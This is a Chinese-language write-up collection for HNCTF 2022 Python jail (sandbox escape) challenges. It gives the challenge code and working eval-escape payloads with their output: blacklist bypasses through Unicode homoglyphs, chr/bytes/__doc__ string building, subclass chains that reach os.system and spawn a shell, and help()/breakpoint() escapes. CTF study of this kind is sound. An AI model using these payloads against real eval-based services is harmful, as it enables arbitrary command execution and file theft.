Jail 【Python沙箱逃逸问题合集】

借助NSS平台题目,以2022年HNCTF为例展开分析

背景:

由于目前很多赛事有时候会出现一些pyjail的题目,因此在这里总结一下以便以后遇见可以轻松应对。

注:由于Python3中的unicode特性,所以也会见到unicode碰撞的题目,因此利用下面脚本可以获取一些常用的碰撞unicode。

exp:

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

连接靶机进入题目

nc node5.anna.nssctf.cn 28565                                                                                                    ─╯

  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

签到题,一把梭

open("flag").read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open("flag").read()
Answer: flag=NSSCTF{25df994d-430f-498d-a4dd-ddb660ada60e}

[HNCTF 2022 Week1]python2 input(JAIL)

连接靶机进入题目

nc node5.anna.nssctf.cn 28167                                                                                                    ─╯

              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               

Welcome to the python jail
But this program will repeat your messages
> 
__import__("os").system("cat flag")
Welcome to the python jail
But this program will repeat your messages
> __import__("os").system("cat flag")
flag=NSSCTF{2d86dce6-3763-438d-9e8e-554b267c1da6}
0

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

附件信息

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

连接靶机进入题目

nc node5.anna.nssctf.cn 28239                                                                                                    ─╯

  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

过滤了部分字符,使用chr拼接flag

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{37ce5cec-7057-42d9-97fd-09b4ebc0e443}

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

附件信息

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

连接靶机

nc node5.anna.nssctf.cn 28837                                                                                                    ─╯

  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

限制了输入的字符长度不大于13

eval(input())

这样就可以不限制输入并且执行了

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> eval(input())
open("flag").read()
Answer: flag=NSSCTF{48ba857a-34ec-4f31-ad69-726ef76d28c8}

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

附件信息

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

2.5在level2基础上既有过滤又有长度限制。浅试了一下大概ban了eval、input、exec这几个字符,但是python中存在unicode的注入,所以直接调用level2的payload改下unicode就OK了,可使用背景处的碰撞脚本实现。

𝓮val(inp𝓾t())
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 𝓮val(inp𝓾t())
open("flag").read()
Answer: flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}

注:如果传输带有unicode的payload无法输入的话,就用pwntools

from pwn import *

io = remote("node5.anna.nssctf.cn",28141)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()
[*] Switching to interactive mode

> $ open("flag").read()
Answer: flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}

法二:还有一个叫作breakpoint() 的调试函数,进去后就可以执行其他命令了,这个更猛。。哈哈

breakpoint()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open("flag").read()
'flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}\n'
(Pdb) 

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

附件信息

#!/usr/bin/env python3
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

这个限制了长度不超过7,因此猜测肯定有更简短的函数调用可以执行shell或者io,不然没法玩了。

百度发现了一篇文章 Python eval 利用技巧 提到了help()方法会执行more这个程序,然后就可以执行shell了

help()
> help()

Welcome to Python 3.8's help utility!
.....
help> sys
Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.8/library/sys
    
    The following documentation is automatically generated from the Python
    source files.  It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.  When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.
    
    Dynamic objects:
    
    argv -- command line arguments; argv[0] is the script pathname if known
    path -- module search path; path[0] is the script directory, else ''
    modules -- dictionary of loaded modules
--More--! cat flag
! cat flag
flag=NSSCTF{e91f30ce-3db4-4f4f-926f-02fc6dff92c4}
------------------------

 [HNCTF 2022 Week1]lake lake lake(JAIL)

附件信息

查看代码
 #it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

题目描述:

Cool job of u finished level3
Now it's time for level4,Try to leak the key!

连接靶机

nc node5.anna.nssctf.cn 28755                                                                                                    ─╯

  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 

两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。

下面来实现

先走1,使用globals()获取全局的变量

> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f095fed0a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f096006fd90>, 'backdoor': <function backdoor at 0x7f095ff31fc0>, 'WELCOME': '\n  _       _          _       _          _       _        \n | |     | |        | |     | |        | |     | |       \n | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|                                                                                                                                                                     \n', 'input_data': '1'}

得到key为a34af94e88aed5c34fb5ccfe08cd14ab

然后进入2

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open("flag").read()
flag=NSSCTF{9838237e-fd38-45d4-a82d-f4a8e0c8eca3}

[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)

附件信息

查看代码
 #it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

连接靶机

nc node5.anna.nssctf.cn 28441                                                                                                    ─╯

  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _  | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 

还是两步走,通道1,长度不超过6来获取key,通道2验证key

对于通道1,我们调用help()进入函数,输入server查看key

help> server
Help on module server:

NAME
    server

DESCRIPTION
    #it seems have a backdoor as `lake lake lake`
    #but it seems be limited!
    #can u find the key of it and use the backdoor

FUNCTIONS
    backdoor()
    
    func()

DATA
    WELCOME = '\n  _         _          _         _          _  ...       ...
    input_data = '1'
    key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
    /home/ctf/server.py

拿到key:95c720690c2c83f0982ffba63ff87338

进入backdoor

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>open("flag").read()
flag=NSSCTF{8d10ca32-927f-4c26-9982-eef5b8a1c14b}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

附件信息

查看代码
 #No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))

连接靶机

nc node5.anna.nssctf.cn 28243                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

chr被ban了,所以字符串构造就要换一种方式了,使用bytes([]).decode()

payload为open("flag").read()

open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
Answer: flag=NSSCTF{cd2d9aea-d3a2-497e-b4be-31a4cd5df78e}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

连接靶机

nc node5.anna.nssctf.cn 28573                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _    ___   _____ 
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/ 
              __/ |                          _/ |                                                   
             |___/                          |__/                                                                                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
> 

被ban的有

Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!

我们仍然选择使用bytes([]).decode()的形式

最终的payload是system("cat flag")

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
flag=NSSCTF{7f54330f-3ace-490c-bddc-19ac057f9a39}
Answer: 0

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

题目描述:

So cool that u finished the 4.0 challeng
but now u can read file

连接靶机

nc node5.anna.nssctf.cn 28261                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _  __ 
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |                                        
             |___/                          |__/                                                                                                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> 
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!

哈哈ban了bytes ,得换一种方法获取bytes了,可以用type来获取bytes

而且根据提示可知需要查文件,因此这题flag肯定不是flag了,需要执行ls查看文件名。。。

先说明一下bytes和type的关系:

bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

<class 'os._wrap_close'> == [].__class__.__mro__[-1].__subclasses__()[-4]

# 执行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)

 同理反抽就可以执行system("ls")然后cat flag了

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

这里只展示了system("ls")

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
flag_y0u_CaNt_FiNd_mE  server.py
Answer: 0

我们可以看到文件名为flag_y0u_CaNt_FiNd_mE

法二:利用Show subclasses with tuple找到bytes类:

().__class__.__base__.__subclasses__()
> ().__class__.__base__.__subclasses__()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>....

可发现bytes类的索引是6。所以有

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
nc node5.anna.nssctf.cn 28261                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _  __ 
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |                                        
             |___/                          |__/                                                                                                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
sh: 0: can't access tty; job control turned off
$ ls /
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
$ ls  
flag_y0u_CaNt_FiNd_mE  server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$ 

法三:利用__doc__:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE  server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$ 

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)

题目描述:

So cool that u finished the 4.1 challenge
filter + try again!!!

连接靶机

nc node5.anna.nssctf.cn 28415                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _   ___  
 | |              (_)                         (_)     (_) | | |              | | || | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_   ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ / /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____|
              __/ |                          _/ |                                           
             |___/                          |__/                                                                                                                                                                                                 

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> 
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

可见byte 、加号都被ban了,我们用.__add__来替换加号,然后仍然用上一题的方法去构造system("ls")然后cat flag

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([108]).__add__(type(str(1).encode())([115]))).decode())
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([108]).__add__(type(str(1).encode())([115]))).decode())
flag_y0u_CaNt_FiNd_mE  server.py
Answer: 0

写个脚本自动生成字符串

lst = []
for i in "cat flag_y0u_CaNt_FiNd_mE":
    lst.append(f"type(str(1).encode())([{ord(i)}])")

print("("+lst.pop(0),end='')
for i in lst:
    print(f".__add__({i})",end='')

print(").decode()")

得到

